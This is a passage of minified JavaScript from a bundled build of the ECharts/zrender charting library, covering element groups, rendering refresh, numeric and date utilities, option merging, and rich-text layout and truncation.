_=c[g],v=r[_];if(v!=null&&n[_]!=null&&(p||a[_]))if(U(v)&&!st(v)&&!yt(v)){if(t){s||(n[_]=v,e.updateDuringAnimation(t));continue}Ho(e,_,n[_],v,i,a&&a[_],o,s)}else h.push(_);else s||(n[_]=v,e.updateDuringAnimation(t),h.push(_))}var y=h.length;if(!d&&y)for(var b=0;b<m.length;b++){var x=m[b];if(x.targetName===t&&x.stopTracks(h)){var S=it(m,x);m.splice(S,1)}}if(i.force||(h=lt(h,function(e){return!Bo(r[e],n[e])}),y=h.length),y>0||i.force&&!o.length){var C=void 0,w=void 0,T=void 0;if(s){w={},f&&(C={});for(var b=0;b<y;b++){var _=h[b];w[_]=n[_],f?C[_]=r[_]:n[_]=r[_]}}else if(f){T={};for(var b=0;b<y;b++){var _=h[b];T[_]=ga(n[_]),zo(n,r,_)}}var x=new Aa(n,!1,!1,d?lt(m,function(e){return e.targetName===t}):null);x.targetName=t,i.scope&&(x.scope=i.scope),f&&C&&x.whenWithKeys(0,C,h),T&&x.whenWithKeys(0,T,h),x.whenWithKeys(l??500,s?w:r,h).delay(u||0),e.addAnimator(x,t),o.push(x)}}var Y=function(e){N(t,e);function t(t){var n=e.call(this)||this;return n.isGroup=!0,n._children=[],n.attr(t),n}return t.prototype.childrenRef=function(){return this._children},t.prototype.children=function(){return this._children.slice()},t.prototype.childAt=function(e){return this._children[e]},t.prototype.childOfName=function(e){for(var t=this._children,n=0;n<t.length;n++)if(t[n].name===e)return t[n]},t.prototype.childCount=function(){return this._children.length},t.prototype.add=function(e){return e&&e!==this&&e.parent!==this&&(this._children.push(e),this._doAdd(e)),this},t.prototype.addBefore=function(e,t){if(e&&e!==this&&e.parent!==this&&t&&t.parent===this){var n=this._children,r=n.indexOf(t);r>=0&&(n.splice(r,0,e),this._doAdd(e))}return this},t.prototype.replace=function(e,t){var n=it(this._children,e);return n>=0&&this.replaceAt(t,n),this},t.prototype.replaceAt=function(e,t){var n=this._children,r=n[t];if(e&&e!==this&&e.parent!==this&&e!==r){n[t]=e,r.parent=null;var i=this.__zr;i&&r.removeSelfFromZr(i),this._doAdd(e)}return this},t.prototype._doAdd=function(e){e.parent&&e.parent.remove(e),e.parent=this;var t=this.__zr;t&&t!==e.__zr&&e.addSelfToZr(t),t&&t.refresh()},t.prototype.remove=function(e){var t=this.__zr,n=this._children,r=it(n,e);return r<0?this:(n.splice(r,1),e.parent=null,t&&e.removeSelfFromZr(t),t&&t.refresh(),this)},t.prototype.removeAll=function(){for(var e=this._children,t=this.__zr,n=0;n<e.length;n++){var r=e[n];t&&r.removeSelfFromZr(t),r.parent=null}return e.length=0,this},t.prototype.eachChild=function(e,t){for(var n=this._children,r=0;r<n.length;r++){var i=n[r];e.call(t,i,r)}return this},t.prototype.traverse=function(e,t){for(var n=0;n<this._children.length;n++){var r=this._children[n],i=e.call(t,r);r.isGroup&&!i&&r.traverse(e,t)}return this},t.prototype.addSelfToZr=function(t){e.prototype.addSelfToZr.call(this,t);for(var n=0;n<this._children.length;n++)this._children[n].addSelfToZr(t)},t.prototype.removeSelfFromZr=function(t){e.prototype.removeSelfFromZr.call(this,t);for(var n=0;n<this._children.length;n++)this._children[n].removeSelfFromZr(t)},t.prototype.getBoundingRect=function(e){for(var t=new J(0,0,0,0),n=e||this._children,r=[],i=null,a=0;a<n.length;a++){var o=n[a];if(!(o.ignore||o.invisible)){var s=o.getBoundingRect(),c=o.getLocalTransform(r);c?(J.applyTransform(t,s,c),i||=t.clone(),i.union(t)):(i||=s.clone(),i.union(s))}}return i||t},t}(Fo);Y.prototype.type=`group`;var Uo={},Wo={};function Go(e){delete Wo[e]}function Ko(e){if(!e)return!1;if(typeof e==`string`)return Ri(e,1)<eo;if(e.colorStops){for(var t=e.colorStops,n=0,r=t.length,i=0;i<r;i++)n+=Ri(t[i].color,1);return n/=r,n<eo}return!1}var qo=function(){function e(e,t,n){var r=this;this._sleepAfterStill=10,this._stillFrameAccum=0,this._needsRefresh=!0,this._needsRefreshHover=!0,this._darkMode=!1,n||={},this.dom=t,this.id=e;var i=new Ir,a=n.renderer||`canvas`;Uo[a]||(a=dt(Uo)[0]),n.useDirtyRect=n.useDirtyRect==null?!1:n.useDirtyRect;var o=new Uo[a](t,i,n,e),s=n.ssr||o.ssrOnly;this.storage=i,this.painter=o;var c=!Ne.node&&!Ne.worker&&!s?new Za(o.getViewportRoot(),o.root):null,l=n.useCoarsePointer,u=l==null||l===`auto`?Ne.touchEventsSupported:!!l,d=44,f;u&&(f=W(n.pointerSize,d)),this.handler=new yr(i,o,c,o.root,f),this.animation=new Ma({stage:{update:s?null:function(){return r._flush(!0)}}}),s||this.animation.start()}return e.prototype.add=function(e){this._disposed||!e||(this.storage.addRoot(e),e.addSelfToZr(this),this.refresh())},e.prototype.remove=function(e){this._disposed||!e||(this.storage.delRoot(e),e.removeSelfFromZr(this),this.refresh())},e.prototype.configLayer=function(e,t){this._disposed||(this.painter.configLayer&&this.painter.configLayer(e,t),this.refresh())},e.prototype.setBackgroundColor=function(e){this._disposed||(this.painter.setBackgroundColor&&this.painter.setBackgroundColor(e),this.refresh(),this._backgroundColor=e,this._darkMode=Ko(e))},e.prototype.getBackgroundColor=function(){return this._backgroundColor},e.prototype.setDarkMode=function(e){this._darkMode=e},e.prototype.isDarkMode=function(){return this._darkMode},e.prototype.refreshImmediately=function(e){this._disposed||(e||this.animation.update(!0),this._needsRefresh=!1,this.painter.refresh(),this._needsRefresh=!1)},e.prototype.refresh=function(){this._disposed||(this._needsRefresh=!0,this.animation.start())},e.prototype.flush=function(){this._disposed||this._flush(!1)},e.prototype._flush=function(e){var t,n=ja();this._needsRefresh&&(t=!0,this.refreshImmediately(e)),this._needsRefreshHover&&(t=!0,this.refreshHoverImmediately());var r=ja();t?(this._stillFrameAccum=0,this.trigger(`rendered`,{elapsedTime:r-n})):this._sleepAfterStill>0&&(this._stillFrameAccum++,this._stillFrameAccum>this._sleepAfterStill&&this.animation.stop())},e.prototype.setSleepAfterStill=function(e){this._sleepAfterStill=e},e.prototype.wakeUp=function(){this._disposed||(this.animation.start(),this._stillFrameAccum=0)},e.prototype.refreshHover=function(){this._needsRefreshHover=!0},e.prototype.refreshHoverImmediately=function(){this._disposed||(this._needsRefreshHover=!1,this.painter.refreshHover&&this.painter.getType()===`canvas`&&this.painter.refreshHover())},e.prototype.resize=function(e){this._disposed||(e||={},this.painter.resize(e.width,e.height),this.handler.resize())},e.prototype.clearAnimation=function(){this._disposed||this.animation.clear()},e.prototype.getWidth=function(){if(!this._disposed)return this.painter.getWidth()},e.prototype.getHeight=function(){if(!this._disposed)return this.painter.getHeight()},e.prototype.setCursorStyle=function(e){this._disposed||this.handler.setCursorStyle(e)},e.prototype.findHover=function(e,t){if(!this._disposed)return this.handler.findHover(e,t)},e.prototype.on=function(e,t,n){return this._disposed||this.handler.on(e,t,n),this},e.prototype.off=function(e,t){this._disposed||this.handler.off(e,t)},e.prototype.trigger=function(e,t){this._disposed||this.handler.trigger(e,t)},e.prototype.clear=function(){if(!this._disposed){for(var e=this.storage.getRoots(),t=0;t<e.length;t++)e[t]instanceof Y&&e[t].removeSelfFromZr(this);this.storage.delAllRoots(),this.painter.clear()}},e.prototype.dispose=function(){this._disposed||(this.animation.stop(),this.clear(),this.storage.dispose(),this.painter.dispose(),this.handler.dispose(),this.animation=this.storage=this.painter=this.handler=null,this._disposed=!0,Go(this.id))},e}();function Jo(e,t){var n=new qo(et(),e,t);return Wo[n.id]=n,n}function Yo(e,t){Uo[e]=t}var Xo;function Zo(e){if(typeof Xo==`function`)return Xo(e)}function Qo(e){Xo=e}var $o=1e-4,es=20;function ts(e){return e.replace(/^\s+|\s+$/g,``)}var ns=Math.min,rs=Math.max,is=Math.abs;function as(e,t,n,r){var i=t[0],a=t[1],o=n[0],s=n[1],c=a-i,l=s-o;if(c===0)return l===0?o:(o+s)/2;if(r){if(c>0){if(e<=i)return o;if(e>=a)return s}else if(e>=i)return o;else if(e<=a)return s}else{if(e===i)return o;if(e===a)return s}return(e-i)/c*l+o}var X=os;function os(e,t,n){switch(e){case`center`:case`middle`:e=`50%`;break;case`left`:case`top`:e=`0%`;break;case`right`:case`bottom`:e=`100%`;break}return ss(e,t,n)}function ss(e,t,n){return H(e)?ts(e).match(/%$/)?parseFloat(e)/100*t+(n||0):parseFloat(e):e==null?NaN:+e}function cs(e,t,n){return t??=10,t=Math.min(Math.max(0,t),es),e=(+e).toFixed(t),n?e:+e}function ls(e){return e.sort(function(e,t){return e-t}),e}function us(e){if(e=+e,isNaN(e))return 0;if(e>1e-14){for(var t=1,n=0;n<15;n++,t*=10)if(Math.round(e*t)/t===e)return n}return ds(e)}function ds(e){var t=e.toString().toLowerCase(),n=t.indexOf(`e`),r=n>0?+t.slice(n+1):0,i=n>0?n:t.length,a=t.indexOf(`.`),o=a<0?0:i-1-a;return Math.max(0,o-r)}function fs(e,t){var n=Math.log,r=Math.LN10,i=Math.floor(n(e[1]-e[0])/r),a=Math.round(n(is(t[1]-t[0]))/r),o=Math.min(Math.max(-i+a,0),20);return isFinite(o)?o:20}function ps(e,t){var n=ct(e,function(e,t){return e+(isNaN(t)?0:t)},0);if(n===0)return[];for(var r=10**t,i=R(e,function(e){return(isNaN(e)?0:e)/n*r*100}),a=r*100,o=R(i,function(e){return Math.floor(e)}),s=ct(o,function(e,t){return e+t},0),c=R(i,function(e,t){return e-o[t]});s<a;){for(var l=-1/0,u=null,d=0,f=c.length;d<f;++d)c[d]>l&&(l=c[d],u=d);++o[u],c[u]=0,++s}return R(o,function(e){return e/r})}function ms(e,t){var n=Math.max(us(e),us(t)),r=e+t;return n>es?r:cs(r,n)}function hs(e){var t=Math.PI*2;return(e%t+t)%t}function gs(e){return e>-$o&&e<$o}var _s=/^(?:(\d{4})(?:[-\/](\d{1,2})(?:[-\/](\d{1,2})(?:[T ](\d{1,2})(?::(\d{1,2})(?::(\d{1,2})(?:[.,](\d+))?)?)?(Z|[\+\-]\d\d:?\d\d)?)?)?)?)?$/;function vs(e){if(e instanceof Date)return e;if(H(e)){var t=_s.exec(e);if(!t)return new Date(NaN);if(t[8]){var n=+t[4]||0;return t[8].toUpperCase()!==`Z`&&(n-=+t[8].slice(0,3)),new Date(Date.UTC(+t[1],(t[2]||1)-1,+t[3]||1,n,+(t[5]||0),+t[6]||0,t[7]?+t[7].substring(0,3):0))}else return new Date(+t[1],(t[2]||1)-1,+t[3]||1,+t[4]||0,+(t[5]||0),+t[6]||0,t[7]?+t[7].substring(0,3):0)}else if(e==null)return new Date(NaN);return new Date(Math.round(e))}function ys(e){return 10**bs(e)}function bs(e){if(e===0)return 0;var t=Math.floor(Math.log(e)/Math.LN10);return e/10**t>=10&&t++,t}function xs(e,t){var n=bs(e),r=10**n,i=e/r;return e=(t?i<1.5?1:i<2.5?2:i<4?3:i<7?5:10:i<1?1:i<2?2:i<3?3:i<5?5:10)*r,n>=-20?+e.toFixed(n<0?-n:0):e}function Ss(e,t){var n=(e.length-1)*t+1,r=Math.floor(n),i=+e[r-1],a=n-r;return a?i+a*(e[r]-i):i}function Cs(e){e.sort(function(e,t){return s(e,t,0)?-1:1});for(var t=-1/0,n=1,r=0;r<e.length;){for(var i=e[r].interval,a=e[r].close,o=0;o<2;o++)i[o]<=t&&(i[o]=t,a[o]=o?1:1-n),t=i[o],n=a[o];i[0]===i[1]&&a[0]*a[1]!==1?e.splice(r,1):r++}return e;function s(e,t,n){return e.interval[n]<t.interval[n]||e.interval[n]===t.interval[n]&&(e.close[n]-t.close[n]===(n?-1:1)||!n&&s(e,t,1))}}function ws(e){var t=parseFloat(e);return t==e&&(t!==0||!H(e)||e.indexOf(`x`)<=0)?t:NaN}function Ts(e){return!isNaN(ws(e))}function Es(){return Math.round(Math.random()*9)}function Ds(e,t){return t===0?e:Ds(t,e%t)}function Os(e,t){return e==null?t:t==null?e:e*t/Ds(e,t)}var ks=`[ECharts] `,As={},js=typeof console<`u`&&console.warn&&console.log;function Ms(e,t,n){if(js){if(n){if(As[t])return;As[t]=!0}console[e](ks+t)}}function Ns(e,t){Ms(`error`,e,t)}function Ps(e){throw Error(e)}function Fs(e,t,n){return(t-e)*n+e}var Is=`series\0`,Ls=`\0_ec_\0`;function Rs(e){return e instanceof Array?e:e==null?[]:[e]}function zs(e,t,n){if(e){e[t]=e[t]||{},e.emphasis=e.emphasis||{},e.emphasis[t]=e.emphasis[t]||{};for(var r=0,i=n.length;r<i;r++){var a=n[r];!e.emphasis[t].hasOwnProperty(a)&&e[t].hasOwnProperty(a)&&(e.emphasis[t][a]=e[t][a])}}}var Bs=`fontStyle.fontWeight.fontSize.fontFamily.rich.tag.color.textBorderColor.textBorderWidth.width.height.lineHeight.align.verticalAlign.baseline.shadowColor.shadowBlur.shadowOffsetX.shadowOffsetY.textShadowColor.textShadowBlur.textShadowOffsetX.textShadowOffsetY.backgroundColor.borderColor.borderWidth.borderRadius.padding`.split(`.`);function Vs(e){return U(e)&&!B(e)&&!(e instanceof Date)?e.value:e}function Hs(e){return U(e)&&!(e instanceof Array)}function Us(e,t,n){var r=n===`normalMerge`,i=n===`replaceMerge`,a=n===`replaceAll`;e||=[],t=(t||[]).slice();var o=G();L(t,function(e,n){if(!U(e)){t[n]=null;return}});var s=Ws(e,o,n);return(r||i)&&Gs(s,e,o,t),r&&Ks(s,t),r||i?qs(s,t,i):a&&Js(s,t),Ys(s),s}function Ws(e,t,n){var r=[];if(n===`replaceAll`)return r;for(var i=0;i<e.length;i++){var a=e[i];a&&a.id!=null&&t.set(a.id,i),r.push({existing:n===`replaceMerge`||ec(a)?null:a,newOption:null,keyInfo:null,brandNew:null})}return r}function Gs(e,t,n,r){L(r,function(i,a){if(!(!i||i.id==null)){var o=Zs(i.id),s=n.get(o);if(s!=null){var c=e[s];Dt(!c.newOption,`Duplicated option on id "`+o+`".`),c.newOption=i,c.existing=t[s],r[a]=null}}})}function Ks(e,t){L(t,function(n,r){if(!(!n||n.name==null))for(var i=0;i<e.length;i++){var a=e[i].existing;if(!e[i].newOption&&a&&(a.id==null||n.id==null)&&!ec(n)&&!ec(a)&&Xs(`name`,a,n)){e[i].newOption=n,t[r]=null;return}}})}function qs(e,t,n){L(t,function(t){if(t){for(var r,i=0;(r=e[i])&&(r.newOption||ec(r.existing)||r.existing&&t.id!=null&&!Xs(`id`,t,r.existing));)i++;r?(r.newOption=t,r.brandNew=n):e.push({newOption:t,brandNew:n,existing:null,keyInfo:null}),i++}})}function Js(e,t){L(t,function(t){e.push({newOption:t,brandNew:!0,existing:null,keyInfo:null})})}function Ys(e){var t=G();L(e,function(e){var n=e.existing;n&&t.set(n.id,e)}),L(e,function(e){var n=e.newOption;Dt(!n||n.id==null||!t.get(n.id)||t.get(n.id)===e,`id duplicates: `+(n&&n.id)),n&&n.id!=null&&t.set(n.id,e),!e.keyInfo&&(e.keyInfo={})}),L(e,function(e,n){var r=e.existing,i=e.newOption,a=e.keyInfo;if(U(i)){if(a.name=i.name==null?r?r.name:Is+n:Zs(i.name),r)a.id=Zs(r.id);else if(i.id!=null)a.id=Zs(i.id);else{var o=0;do a.id=`\0`+a.name+`\0`+ o++;while(t.get(a.id))}t.set(a.id,e)}})}function Xs(e,t,n){var r=Qs(t[e],null),i=Qs(n[e],null);return r!=null&&i!=null&&r===i}function Zs(e){return Qs(e,``)}function Qs(e,t){return e==null?t:H(e)?e:ht(e)||mt(e)?e+``:t}function $s(e){var t=e.name;return!!(t&&t.indexOf(Is))}function ec(e){return e&&e.id!=null&&Zs(e.id).indexOf(Ls)===0}function tc(e){return Ls+e}function nc(e,t,n){L(e,function(e){var r=e.newOption;U(r)&&(e.keyInfo.mainType=t,e.keyInfo.subType=rc(t,r,e.existing,n))})}function rc(e,t,n,r){return t.type?t.type:n?n.subType:r.determineSubType(e,t)}function ic(e,t){var n={},r={};return i(e||[],n),i(t||[],r,n),[a(n),a(r)];function i(e,t,n){for(var r=0,i=e.length;r<i;r++){var a=Qs(e[r].seriesId,null);if(a==null)return;for(var o=Rs(e[r].dataIndex),s=n&&n[a],c=0,l=o.length;c<l;c++){var u=o[c];s&&s[u]?s[u]=null:(t[a]||(t[a]={}))[u]=1}}}function a(e,t){var n=[];for(var r in e)if(e.hasOwnProperty(r)&&e[r]!=null)if(t)n.push(+r);else{var i=a(e[r],!0);i.length&&n.push({seriesId:r,dataIndex:i})}return n}}function ac(e,t){if(t.dataIndexInside!=null)return t.dataIndexInside;if(t.dataIndex!=null)return B(t.dataIndex)?R(t.dataIndex,function(t){return e.indexOfRawIndex(t)}):e.indexOfRawIndex(t.dataIndex);if(t.name!=null)return B(t.name)?R(t.name,function(t){return e.indexOfName(t)}):e.indexOfName(t.name)}function oc(){var e=`__ec_inner_`+ sc++;return function(t){return t[e]||(t[e]={})}}var sc=Es();function cc(e,t,n){var r=lc(t,n),i=r.mainTypeSpecified,a=r.queryOptionMap,o=r.others,s=n?n.defaultMainType:null;return!i&&s&&a.set(s,{}),a.each(function(t,r){var i=fc(e,r,t,{useDefault:s===r,enableAll:n&&n.enableAll!=null?n.enableAll:!0,enableNone:n&&n.enableNone!=null?n.enableNone:!0});o[r+`Models`]=i.models,o[r+`Model`]=i.models[0]}),o}function lc(e,t){var n;if(H(e)){var r={};r[e+`Index`]=0,n=r}else n=e;var i=G(),a={},o=!1;return L(n,function(e,n){if(n===`dataIndex`||n===`dataIndexInside`){a[n]=e;return}var r=n.match(/^(\w+)(Index|Id|Name)$/)||[],s=r[1],c=(r[2]||``).toLowerCase();if(!(!s||!c||t&&t.includeMainTypes&&it(t.includeMainTypes,s)<0)){o||=!!s;var l=i.get(s)||i.set(s,{});l[c]=e}}),{mainTypeSpecified:o,queryOptionMap:i,others:a}}var uc={useDefault:!0,enableAll:!1,enableNone:!1},dc={useDefault:!1,enableAll:!0,enableNone:!0};function fc(e,t,n,r){r||=uc;var i=n.index,a=n.id,o=n.name,s={models:null,specified:i!=null||a!=null||o!=null};if(!s.specified){var c=void 0;return s.models=r.useDefault&&(c=e.getComponent(t))?[c]:[],s}if(i===`none`||i===!1){if(r.enableNone)return s.models=[],s;i=-1}return i===`all`&&(i=r.enableAll?a=o=null:-1),s.models=e.queryComponents({mainType:t,index:i,id:a,name:o}),s}function pc(e,t,n){e.setAttribute?e.setAttribute(t,n):e[t]=n}function mc(e,t){return e.getAttribute?e.getAttribute(t):e[t]}function hc(e){return e===`auto`?Ne.domSupported?`html`:`richText`:e||`html`}function gc(e,t){var n=G(),r=[];return L(e,function(e){var i=t(e);(n.get(i)||(r.push(i),n.set(i,[]))).push(e)}),{keys:r,buckets:n}}function _c(e,t,n,r,i){var a=t==null||t===`auto`;if(r==null)return r;if(ht(r)){var o=Fs(n||0,r,i);return cs(o,a?Math.max(us(n||0),us(r)):t)}else if(H(r))return i<1?n:r;else{for(var s=[],c=n,l=r,u=Math.max(c?c.length:0,l.length),d=0;d<u;++d){var f=e.getDimensionInfo(d);if(f&&f.type===`ordinal`)s[d]=(i<1&&c?c:l)[d];else{var p=c&&c[d]?c[d]:0,m=l[d],o=Fs(p,m,i);s[d]=cs(o,a?Math.max(us(p),us(m)):t)}}return s}}var vc=function(){function e(){}return e.prototype.reset=function(e,t,n,r){return this._list=e,this._step=r||=1,this._idx=t,this._end=n??(r>0?e.length:0),this.item=null,this.key=NaN,this},e.prototype.next=function(){return(this._step>0?this._idx<this._end:this._idx>=this._end)?(this.item=this._list[this._idx],this.key=this._idx+=this._step,!0):!1},e}();function yc(e){e.option=e.parentModel=e.ecModel=null}var bc=`.`,xc=`___EC__COMPONENT__CONTAINER___`,Sc=`___EC__EXTENDED_CLASS___`;function Cc(e){var t={main:``,sub:``};if(e){var n=e.split(bc);t.main=n[0]||``,t.sub=n[1]||``}return t}function wc(e){Dt(/^[a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)?$/.test(e),`componentType "`+e+`" illegal`)}function Tc(e){return!!(e&&e[Sc])}function Ec(e,t){e.$constructor=e,e.extend=function(e){var t=this,n;return Dc(t)?n=function(e){N(t,e);function t(){return e.apply(this,arguments)||this}return t}(t):(n=function(){(e.$constructor||t).apply(this,arguments)},at(n,this)),F(n.prototype,e),n[Sc]=!0,n.extend=this.extend,n.superCall=jc,n.superApply=Mc,n.superClass=t,n}}function Dc(e){return V(e)&&/^class\s/.test(Function.prototype.toString.call(e))}function Oc(e,t){e.extend=t.extend}var kc=Math.round(Math.random()*10);function Ac(e){var t=[`__\0is_clz`,kc++].join(`_`);e.prototype[t]=!0,e.isInstance=function(e){return!!(e&&e[t])}}function jc(e,t){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];return this.superClass.prototype[t].apply(e,n)}function Mc(e,t,n){return this.superClass.prototype[t].apply(e,n)}function Nc(e){var t={};e.registerClass=function(e){var r=e.type||e.prototype.type;if(r){wc(r),e.prototype.type=r;var i=Cc(r);if(!i.sub)t[i.main]=e;else if(i.sub!==xc){var a=n(i);a[i.sub]=e}}return e},e.getClass=function(e,n,r){var i=t[e];if(i&&i[xc]&&(i=n?i[n]:null),r&&!i)throw Error(n?`Component `+e+`.`+(n||``)+` is used but not imported.`:e+`.type should be specified.`);return i},e.getClassesByMainType=function(e){var n=Cc(e),r=[],i=t[n.main];return i&&i[xc]?L(i,function(e,t){t!==xc&&r.push(e)}):r.push(i),r},e.hasClass=function(e){return!!t[Cc(e).main]},e.getAllClassMainTypes=function(){var e=[];return L(t,function(t,n){e.push(n)}),e},e.hasSubTypes=function(e){var n=t[Cc(e).main];return n&&n[xc]};function n(e){var n=t[e.main];return(!n||!n[xc])&&(n=t[e.main]={},n[xc]=!0),n}}function Pc(e,t){for(var n=0;n<e.length;n++)e[n][1]||(e[n][1]=e[n][0]);return t||=!1,function(n,r,i){for(var a={},o=0;o<e.length;o++){var s=e[o][1];if(!(r&&it(r,s)>=0||i&&it(i,s)<0)){var c=n.getShallow(s,t);c!=null&&(a[e[o][0]]=c)}}return a}}var Fc=Pc([[`fill`,`color`],[`shadowBlur`],[`shadowOffsetX`],[`shadowOffsetY`],[`opacity`],[`shadowColor`]]),Ic=function(){function e(){}return e.prototype.getAreaStyle=function(e,t){return Fc(this,e,t)},e}(),Lc=new hi(50);function Rc(e){if(typeof e==`string`){var t=Lc.get(e);return t&&t.image}else return e}function zc(e,t,n,r,i){if(!e)return t;if(typeof e==`string`){if(t&&t.__zrImageSrc===e||!n)return t;var a=Lc.get(e),o={hostEl:n,cb:r,cbPayload:i};return a?(t=a.image,!Vc(t)&&a.pending.push(o)):(t=Ve.loadImage(e,Bc,Bc),t.__zrImageSrc=e,Lc.put(e,t.__cachedImgObj={image:t,pending:[o]})),t}else return e}function Bc(){var e=this.__cachedImgObj;this.onload=this.onerror=this.__cachedImgObj=null;for(var t=0;t<e.pending.length;t++){var n=e.pending[t],r=n.cb;r&&r(this,n.cbPayload),n.hostEl.dirty()}e.pending.length=0}function Vc(e){return e&&e.width&&e.height}var Hc=/\{([a-zA-Z0-9_]+)\|([^}]*)\}/g;function Uc(e,t,n,r,i,a){if(!n){e.text=``,e.isTruncated=!1;return}var o=(t+``).split(`
+`);a=Wc(n,r,i,a);for(var s=!1,c={},l=0,u=o.length;l<u;l++)Gc(c,o[l],a),o[l]=c.textLine,s||=c.isTruncated;e.text=o.join(`
+`),e.isTruncated=s}function Wc(e,t,n,r){r||={};var i=F({},r);n=W(n,`...`),i.maxIterations=W(r.maxIterations,2);var a=i.minChar=W(r.minChar,0),o=i.fontMeasureInfo=ho(t),s=o.asciiCharWidth;i.placeholder=W(r.placeholder,``);for(var c=e=Math.max(0,e-1),l=0;l<a&&c>=s;l++)c-=s;var u=xo(o,n);return u>c&&(n=``,u=0),c=e-u,i.ellipsis=n,i.ellipsisWidth=u,i.contentWidth=c,i.containerWidth=e,i}function Gc(e,t,n){var r=n.containerWidth,i=n.contentWidth,a=n.fontMeasureInfo;if(!r){e.textLine=``,e.isTruncated=!1;return}var o=xo(a,t);if(o<=r){e.textLine=t,e.isTruncated=!1;return}for(var s=0;;s++){if(o<=i||s>=n.maxIterations){t+=n.ellipsis;break}var c=s===0?Kc(t,i,a):o>0?Math.floor(t.length*i/o):0;t=t.substr(0,c),o=xo(a,t)}t===``&&(t=n.placeholder),e.textLine=t,e.isTruncated=!0}function Kc(e,t,n){for(var r=0,i=0,a=e.length;i<a&&r<t;i++)r+=bo(n,e.charCodeAt(i));return i}function qc(e,t,n,r){var i=ol(e),a=t.overflow,o=t.padding,s=o?o[1]+o[3]:0,c=o?o[0]+o[2]:0,l=t.font,u=a===`truncate`,d=Eo(l),f=W(t.lineHeight,d),p=t.lineOverflow===`truncate`,m=!1,h=t.width;h==null&&n!=null&&(h=n-s);var g=t.height;g==null&&r!=null&&(g=r-c);var _=h!=null&&(a===`break`||a===`breakAll`)?i?nl(i,t.font,h,a===`breakAll`,0).lines:[]:i?i.split(`
+`):[],v=_.length*f;if(g??=v,v>g&&p){var y=Math.floor(g/f);m||=_.length>y,_=_.slice(0,y),v=_.length*f}if(i&&u&&h!=null)for(var b=Wc(h,l,t.ellipsis,{minChar:t.truncateMinChar,placeholder:t.placeholder}),x={},S=0;S<_.length;S++)Gc(x,_[S],b),_[S]=x.textLine,m||=x.isTruncated;for(var C=g,w=0,T=ho(l),S=0;S<_.length;S++)w=Math.max(xo(T,_[S]),w);h??=w;var E=h;return C+=c,E+=s,{lines:_,height:g,outerWidth:E,outerHeight:C,lineHeight:f,calculatedLineHeight:d,contentWidth:w,contentHeight:v,width:h,isTruncated:m}}var Jc=function(){function e(){}return e}(),Yc=function(){function e(e){this.tokens=[],e&&(this.tokens=e)}return e}(),Xc=function(){function e(){this.width=0,this.height=0,this.contentWidth=0,this.contentHeight=0,this.outerWidth=0,this.outerHeight=0,this.lines=[],this.isTruncated=!1}return e}();function Zc(e,t,n,r,i){var a=new Xc,o=ol(e);if(!o)return a;var s=t.padding,c=s?s[1]+s[3]:0,l=s?s[0]+s[2]:0,u=t.width;u==null&&n!=null&&(u=n-c);var d=t.height;d==null&&r!=null&&(d=r-l);for(var f=t.overflow,p=(f===`break`||f===`breakAll`)&&u!=null?{width:u,accumWidth:0,breakAll:f===`breakAll`}:null,m=Hc.lastIndex=0,h;(h=Hc.exec(o))!=null;){var g=h.index;g>m&&Qc(a,o.substring(m,g),t,p),Qc(a,h[2],t,p,h[1]),m=Hc.lastIndex}m<o.length&&Qc(a,o.substring(m,o.length),t,p);var _=[],v=0,y=0,b=f===`truncate`,x=t.lineOverflow===`truncate`,S={};function C(e,t,n){e.width=t,e.lineHeight=n,v+=n,y=Math.max(y,t)}outer:for(var w=0;w<a.lines.length;w++){for(var T=a.lines[w],E=0,D=0,O=0;O<T.tokens.length;O++){var k=T.tokens[O],A=k.styleName&&t.rich[k.styleName]||{},j=k.textPadding=A.padding,ee=j?j[1]+j[3]:0,te=k.font=A.font||t.font;k.contentHeight=Eo(te);var M=W(A.height,k.contentHeight);if(k.innerHeight=M,j&&(M+=j[0]+j[2]),k.height=M,k.lineHeight=wt(A.lineHeight,t.lineHeight,M),k.align=A&&A.align||i,k.verticalAlign=A&&A.verticalAlign||`middle`,x&&d!=null&&v+k.lineHeight>d){var ne=a.lines.length;O>0?(T.tokens=T.tokens.slice(0,O),C(T,D,E),a.lines=a.lines.slice(0,w+1)):a.lines=a.lines.slice(0,w),a.isTruncated=a.isTruncated||a.lines.length<ne;break outer}var re=A.width,ie=re==null||re===`auto`;if(typeof re==`string`&&re.charAt(re.length-1)===`%`)k.percentWidth=re,_.push(k),k.contentWidth=xo(ho(te),k.text);else{if(ie){var ae=A.backgroundColor,oe=ae&&ae.image;oe&&(oe=Rc(oe),Vc(oe)&&(k.width=Math.max(k.width,oe.width*M/oe.height)))}var se=b&&u!=null?u-D:null;se!=null&&se<k.width?!ie||se<ee?(k.text=``,k.width=k.contentWidth=0):(Uc(S,k.text,se-ee,te,t.ellipsis,{minChar:t.truncateMinChar}),k.text=S.text,a.isTruncated=a.isTruncated||S.isTruncated,k.width=k.contentWidth=xo(ho(te),k.text)):k.contentWidth=xo(ho(te),k.text)}k.width+=ee,D+=k.width,A&&(E=Math.max(E,k.lineHeight))}C(T,D,E)}a.outerWidth=a.width=W(u,y),a.outerHeight=a.height=W(d,v),a.contentHeight=v,a.contentWidth=y,a.outerWidth+=c,a.outerHeight+=l;for(var w=0;w<_.length;w++){var k=_[w],ce=k.percentWidth;k.width=parseInt(ce,10)/100*a.width}return a}function Qc(e,t,n,r,i){var a=t===``,o=i&&n.rich[i]||{},s=e.lines,c=o.font||n.font,l=!1,u,d;if(r){var f=o.padding,p=f?f[1]+f[3]:0;if(o.width!=null&&o.width!==`auto`){var m=Do(o.width,r.width)+p;s.length>0&&m+r.accumWidth>r.width&&(u=t.split(`
+`),l=!0),r.accumWidth=m}else{var h=nl(t,c,r.width,r.breakAll,r.accumWidth);r.accumWidth=h.accumWidth+p,d=h.linesWidths,u=h.lines}}u||=t.split(`
